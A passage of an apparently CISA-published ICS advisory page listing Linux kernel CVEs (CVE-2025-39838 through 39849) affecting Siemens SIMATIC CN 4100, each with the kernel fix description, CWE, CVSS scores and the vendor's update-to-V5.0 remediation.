<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39838</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39838">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39839</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb-&gt;len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39839">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39841</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39842</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb-&gt;journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-&gt; ocfs2_delete_osb()-&gt; ocfs2_free_slot_info()-&gt; __ocfs2_free_slot_info()-&gt; evict()-&gt; ocfs2_evict_inode()-&gt; ocfs2_clear_inode()-&gt; jbd2_journal_release_jbd_inode(osb-&gt;journal-&gt;j_journal, Adding osb-&gt;journal checks will prevent null-ptr-deref during the above execution path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39843</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39843">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39844</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 ("x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&amp;init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK &amp; PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39844">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39845</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39845">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39846</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39846">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39847</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39847">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39848</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d ("net: introduce per netns packet chains"). skb-&gt;dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 ("phonet: properly unshare skbs in phonet_rcv()").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39848">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39849</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid-&gt;datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39849">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
